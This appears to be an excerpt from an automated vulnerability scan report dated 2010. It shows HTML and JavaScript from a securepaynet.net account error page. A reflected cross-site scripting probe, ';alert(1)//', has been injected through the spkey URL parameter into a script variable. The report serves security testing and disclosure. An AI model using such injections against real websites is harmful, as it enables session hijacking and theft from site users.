<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB124f1ad4";alert(1)//da8badaad00"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

Report generated by Hoyt LLC at Fri Oct 29 00:10:55 CDT 2010.